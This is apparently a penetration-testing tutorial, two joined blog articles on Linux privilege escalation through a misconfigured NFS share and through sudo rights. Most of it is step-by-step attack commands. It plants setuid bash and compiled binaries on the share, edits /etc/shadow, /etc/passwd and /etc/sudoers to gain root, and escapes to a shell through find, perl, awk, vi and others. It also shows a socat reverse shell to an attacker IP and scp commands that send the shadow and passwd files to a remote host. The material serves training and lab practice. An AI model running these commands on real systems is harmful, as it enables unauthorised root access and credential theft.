Linux Privilege Escalation using Misconfigured NSF

After solving several OSCP Challenges we decided to write the article on the various method used for Linux privilege escalation, that could be helpful for our readers in their penetration testing project. In this article, we will learn how to exploit a misconfigured NFS share to gain root access to a remote host machine.

Table of contents

Introduction of NFS

Misconfigured NFS Lab setup

Scanning NFS shares

·         Nmap script

·         showmount

Exploiting NFS server for Privilege Escalation via:

Bash file

C program file

Nano/vi

·         Obtain shadow file

·         Obtain passwd file

·         Obtain sudoers file

Let’s Start!!

Network File System (NFS): Network File System permits a user on a client machine to mount the shared files or directories over a network. NFS uses Remote Procedure Calls (RPC) to route requests between clients and servers. Although NFS uses TCP/UDP port 2049 for sharing any files/directories over a network.

Misconfigured NFS Lab setup

Basically, there are three core configuration files (/etc/exports, /etc/hosts.allow, and /etc/hosts.deny) you will need to configure to set up an NFS server. BUT to configure weak NFS server we will look only /etc/export file.

To install NFS service execute below command in your terminal and open /etc/export file for configuration.

sudo apt-get update

sudo apt install nfs-kernel-server

nano /etc/exports

The /etc/exports file holds a record for each directory that you expect to share within a network machine. Each record describes how one directory or file is shared. 

Apply basic syntax for configuration:

Directory         Host-IP(Option-list)

There are various options will define which type of Privilege that machine will have over shared directory.

·         rw : Permit clients to read as well as write access to shared directory.

·         ro : Permit clients to Read-only access to shared directory..

·         root_squash: This option Prevents file request made by user root on the client machine because NFS shares change the root user to the nfsnobody user, which is an unprivileged user account.

·         no_root_squash: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implication.

·         async: It will speed up transfers but can cause data corruption as NFS server doesn’t wait for the complete write operation to be finished on the stable storage, before replying to the client.

·         sync:   The sync option does the inverse of async option where the NFS server will reply to the client only after the data is finally written to the stable storage.

Hopefully, it might be clear to you, how to configure the /etc/export file by using a particular option. An NFS system is considered weak or Misconfigured when following entry/record is edit into it for sharing any directory.

/home       *(rw,no_root_squash)

Above entry shows that we have shared /home directory and allowed the root user on the client to access files to read/ write operation and * sign denotes connection from any Host machine. After then restart the service with help of the following command.

sudo /etc/init.d/nfs-kernel-server restart

Scanning NFS shares

Nmap

You can take help of Nmap script to scan NFS service in target network because it reveals the name of share directory of target’s system if port 2049 is opened.

nmap -sV --script=nfs-showmount 192.168.1.102

Basically nmap exports showmount -e command to identify the shared directory and here we can clearly observe /home * is shared directory for everyone in the network.

Showmount

The same thing can be done manually by using showmount command but for that install nfs-common package on your local machine with help of the following command.

apt-get install nfs-common

showmount -e 192.168.1.102

Exploiting NFS server for Privilege Escalation

Bash file

Now execute below command on your local machine to exploit NFS server for root privilege.

mkdir /tmp/raj

mount -t nfs 192.168.1.102:/home /tmp/raj

cp /bin/bash .

chmod +s bash

ls -la bash

Above command will create a new folder raj inside /tmp and mount shared directory /home inside /tmp/raj. Then upload a local exploit to gain root by copying bin/bash and set suid permission.

Use df -h command to get summary of the amount of free disk space on each mounted disk.

First, you need to compromise the target system and then move to privilege escalation phase. Suppose you successfully login into victim’s machine through ssh. Now we knew that /home is shared directory, therefore, move inside it and follow below steps to get root access of victim's machine.

cd /home

ls

./bash -p

id

whoami

So, it was the first method to pwn the root access with help of bin/bash if NFS system is configured weak. 

C Program

Similarly, we can use C language program file for root privilege escalation. We have generated a C-Program file and copied it into /tmp/raj folder. Since it is c program file therefore first we need to compile it and then set suid permission as done above.

cp asroot.c /tmp/root

cd /tmp/raj

gcc asroot.c -o shell

chmod +s shell

Now repeat the above process and run shell file to obtained root access.

cd /home

ls

./shell

id

whoami

So, it was the second method to pwn the root access with help of bin/bash via c-program if NFS system is misconfigured. 

Nano/Vi

Nano and vi editor both are most dangerous applications that can lead to privilege escalation if share directly or indirectly. In our case, it not shared directly but still, we can use any application for exploiting root access.

Follow below steps:

cp /bin/nano

chmod 4777 nano

ls -la nano

Since we have set suid permission to nano therefore after compromising target's machine at least once we can escalate root privilege through various techniques.

Shadow File

cd /home

ls

./nano -p etc/shadow

When you will execute above command it will open shadow file, from where you can copy the hash password of any user.

Here I have copied hash password of the user: raj in a text file and saved as shadow then use john the ripper to crack that hash password.

Awesome!!! It tells raj having password 123. Now either you can login as raj and verify its privilege or follow next step.

Passwd file

Now we know the password of raj user but we are not sure that raj has root privilege or not, therefore, we can add raj into the root group by editing etc/passwd file.

Open the passwd file with help of nano and make following changes

./nano -p etc/passwd

raj:x:0:0:,,,:/home/raj:/bin/bash

Now use su command to switch user and enter the password found for raj.

su raj

id

whoami

Great!!! This was another way to get root access to target's machine.

Sudoers file

We can also escalate root privilege by editing sudoers file where we can assign ALL privilege to our non-root user (ignite).

Open the sudoers file with help of nano and make following changes

./nano -p etc/sudoers

ignite ALL=(ALL:ALL) NOPASSWD: ALL

Now use sudo bash command to access root terminal and get root privilege

sudo bash

id

whoami

Conclusion: Thus we saw the various approach to escalated root privilege if port 2049 is open for NFS services and server is weak configured. For your practice, you can play with ORCUS which is a vulnerable lab of vulnhub and read the article from here.

Linux Privilege Escalation using Exploiting Sudo Rights

In our previous articles, we have discussed Linux Privilege Escalation using SUID Binaries and /etc/passwd file and today we are posting another method of "Linux privilege Escalation using Sudoers file”. While solving CTF challenges, for privilege escalation we always check root permissions for any user to execute any file or command by executing sudo -l command. You can read our previous article where we had applied this trick for privilege escalation.

Let’s Start with Theoretical Concept!!

In Linux/Unix, a sudoers file inside /etc is the configuration file for sudo rights. We all know the power of sudo command, the word sudo represent Super User Do root privilege task. Sudoers file is that file where the users and groups with root privileges are stored to run some or all commands as root or another user. Take a look at the following image.

When you run any command along with sudo, it needs root privileges for execution, Linux checks that particular username within the sudoers file. And it concluded, that the particular username is in the list of sudoers file or not, if not then you cannot run the command or program using sudo command. As per sudo rights the root user can execute from ALL terminals, acting as ALL users: ALL group, and run ALL command.

Sudoer File Syntax

If you (root user) wish to grant sudo right to any particular user then type visudo command which will open the sudoers file for editing. Under “user privilege specification” you will observe default root permission “root ALL=(ALL:ALL) ALL" BUT in actual, there is Tag option also available which is optional, as explained below in the following image.

Consider the given example where we want to assign sudo rights for user:raaz to access the terminal and run copy command with root privilege. Here NOPASSWD tag that means no password will be requested for the user.

NOTE:

1.       (ALL:ALL) can also represent as (ALL) 

2.       If you found (root) in place of (ALL:ALL) then it denotes that user can run the command as root.

3.       If nothing is mention for user/group then it means sudo defaults to the root user.

Let’s Begin!!

Let’s get into deep through practical work. First, create a user which should be not the sudo group user. Here we have added user “raaz” who’s UID is 1002 and GID is 1002 and hence raaz is non-root user.

Traditional Method to assign Root Privilege 

If system administrator wants to give ALL permission to user raaz then he can follow below steps to add user raaz under User Privilege Specification category.

visudo

raaz ALL=(ALL:ALL) ALL

or

raaz ALL=(ALL) ALL

Spawn Root Access

On other hands start yours attacking machine and first compromise the target system and then move to privilege escalation phase. Suppose you successfully login into victim’s machine through ssh and want to know sudo rights for the current user then execute below command.

sudo -l

In the traditional method, PASSWD option is enabled for user authentication while executing above command and it can be disabled by using NOPASSWD tag. The highlighted text is indicating that current user is authorized to execute all command. Therefore we have obtained root access by executing the command.

sudo su

id

Default Method to assign Root Privilege 

If system administrator wants to give root permission to user raaz to execute all command and program then he can follow below steps to add user raaz under User Privilege Specification category.

visudo

raaz ALL=ALL

or

raaz ALL=(root) ALL

Here also Default PASSWD option is enabled for user authentication.

Spawn Root Access

Again compromise the target system and then move for privilege escalation stage as done above and execute below command to view sudo user list.

suod -l

Here you can perceive the highlighted text which is representative that the user raaz can run all command as root user. Therefore we can achieve root access by performing further down steps.

sudo su

or

sudo bash

Note: Above both methods will ask user’s password for authentication at the time of execution of sudo -l command because by Default PASSWD option is enabled.

Allow Root Privilege to Binary commands

Sometimes the user has the authorization to execute any file or command of a particular directory such as /bin/cp, /bin/cat or /usr/bin/ find, this type of permission lead to privilege escalation for root access and it can be implemented with help of following steps.

raaz ALL=(root) NOPASSWD: /usr/bin/find

NOTE: Here NOPASSWD tag that means no password will be requested for the user while running sudo -l command.

Spawn Root Access using Find Command

Again compromised the Victim’s system and then move for privilege escalation phase and execute below command to view sudo user list.

suod -l

At this point, you can notice the highlighted text is indicating that the user raaz can run any command through find command. Therefore we got root access by executing below commands.

sudo find /home -exec /bin/bash \;

id

Allow Root Privilege to Binary Programs

Sometimes admin assigns delicate authorities to a particular user to run binary programs which allow a user to edit any system files such as /etc/passwd and so on. There are certain binary programs which can lead to privilege escalation if authorized to a user. In given below command we have assign sudo rights to the following program which can be run as root user.

raaz ALL= (root) NOPASSWD: usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi

Spawn shell using Perl one-liner

At the time of privilege, escalation phase executes below command to view sudo user list.

suod -l

Now you can observe the highlighted text is showing that the user raaz can run Perl language program or script as root user. Therefore we got root access by executing Perl one-liner.

perl -e 'exec "/bin/bash";'

id

Spawn shell using Python one-liner

After compromising the target system and then move for privilege escalation phase as done above and execute below command to view sudo user list.

suod -l

At this point, you can perceive the highlighted text is indicating that the user raaz can run Python language program or script as root user. Thus we acquired root access by executing Python one-liner.

python -c 'import pty;pty.spawn("/bin/bash")'

id

Spawn shell using Less Command

For the privilege, escalation phase executes below command to view sudo user list.

suod -l

Here you can observe the highlighted text which is indicating that the user raaz can run less command as root user. Hence we obtained root access by executing following.

sudo less /etc/hosts

It will open requested system file for editing, BUT for spawning root shell type !bash as shown below and hit enter.

You will get root access as shown in the below image.

Spawn shell using AWK one-liner

After compromise, the target system then moves for privilege escalation phase as done above and execute below command to view sudo user list.

suod -l

At this phase, you can notice the highlighted text is representing that the user raaz can run AWK language program or script as root user. Therefore we obtained root access by executing AWK one-liner.

sudo awk 'BEGIN {system("/bin/bash")}'

id

Spawn shell using Man Command (Manual page)

For privilege escalation and execute below command to view sudo user list.

suod -l

Here you can observe the highlighted text is indicating that the user raaz can run man command as root user. Therefore we got root access by executing following.

sudo man man

It will be displaying Linux manual pages for editing, BUT for spawning root shell type !bash as presented below and hit enter, you get root access as done above using Less command.

Spawn shell using Vi-editor (Visual editor)

After compromising the target system and then move for privilege escalation phase as done above and execute below command to view sudo user list.

suod -l

Here you can observe the highlighted text which is indicating that user raaz can run vi command as root user. Consequently, we got root access by executing following.

sudo vi

Thus, It will open vi editors for editing, BUT for spawning root shell type !bash as shown below and hit enter, you get root access as done above using Less command.

You will get root access as shown in the below image.

id

whoami

NOTE: sudo permission for less, nano, man, vi and man is very dangerous as they allow user to edit system file and lead to Privilege Escalation. 

Allow Root Privilege to Shell Script

There are maximum chances to get any kind of script for the system or program call, it can be any script either Bash, PHP, Python or C language script. Suppose you (system admin) want to give sudo permission to any script which will provide bash shell on execution.

For example, we have some scripts which will provide root terminal on execution, in given below image you can observe that we have written 3 programs for obtaining bash shell by using different programing language and saved all three files: asroot.py, asroot.sh, asroot.c (compiled file shell) inside bin/script.

NOTE: While solving OSCP challenges you will find that some script is hidden by the author for exploit kernel or for root shell and set sudo permission to any particular user to execute that script.

Now allow raaz to run all above script as root user by editing sudoers file with the help of following command.

raaz ALL= (root) NOPASSWD: /bin/script/asroot.sh, /bin/script/asroot.py, /bin/script/shell

Spawn root shell by Executing Bash script

For the privilege, escalation phase executes below command to view sudo user list.

suod -l             

The highlighted text is indicating that the user raaz can run asroot.sh as root user. Therefore we got root access by running asroot.sh script.

sudo /bin/script/asroot.sh

id

Spawn root shell by Executing Python script

Execute below command for privilege escalation to view sudo user list.

suod -l

At this time the highlighted text is showing that user raaz can run asroot.py as root user. Therefore we acquired root access by executing following script.

sudo /bin/script/asroot.py

id

Spawn root shell by Executing C Language script

After compromising the target system and then move for privilege escalation and execute below command to view sudo user list.

suod -l

Here you can perceive the highlighted text is indicating that the user raaz can run shell (asroot.c complied file) as root user. So we obtained root access by executing following shell.

sudo /bin/script/shell

id

Today we have demonstrated the various method to spawn root terminal of victim’s machine if any user is a member of sudoers file and has root permission.

HAPPY HACKING!!!!

Allow Sudo Right to other Programs

As we have seen above, some binary programs with sudo right are helpful in getting root access. But apart from that, there are some application which can also provide root access if owned sudo privilege such FTP or socat.  In given below command we have assign sudo rights to the following program which can be run as root user.

raaz    ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat

Spawn Shell Using Env

 At the time of privilege escalation phase, executes below command to view sudo user list.

sudo -l

As we can observe user: raaz has sudo rights for env, FTP, SCP and Socat, now let’s try get root access through them one-by-one.

sudo env /bin/bash

whoami

Spawn Shell Using FTP

Now let’s try to get root access through FTP with the help of following commands:

sudo ftp

! /bin/bash

 whoami

or

! /bin/sh

id

whoami

Spawn Shell Using Socat

Now let’s try to get root access through socat with the help of following commands. Execute below command on the attacker’s terminal in order to enable listener for reverse connection.

socat file:`tty`,raw,echo=0 tcp-listen:1234 

Then run the following command on victim’s machine and you will get root access on your attacker machine.

socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.105:1234

Spawn shell through SCP

As we know sudo right is available for SCP but it is not possible to get bsah shell directory as shown above because it is a means of securely moving any files between a local host and a remote host. Therefore we can use it for transferring those system files which requires root permission to perform read/write operation such as /etc/passwd and /etc/shadow files.

Syntax: scp SourceFile user@host:~/path of directory

scp /etc/passwd aarti@192.168.1.105:~/

scp /etc/shadow aarti@192.168.1.105:~/

Now let’s confirm the transformation by inspecting remote directory and as you can observe we have successfully received passwd and shadow files in our remote pc.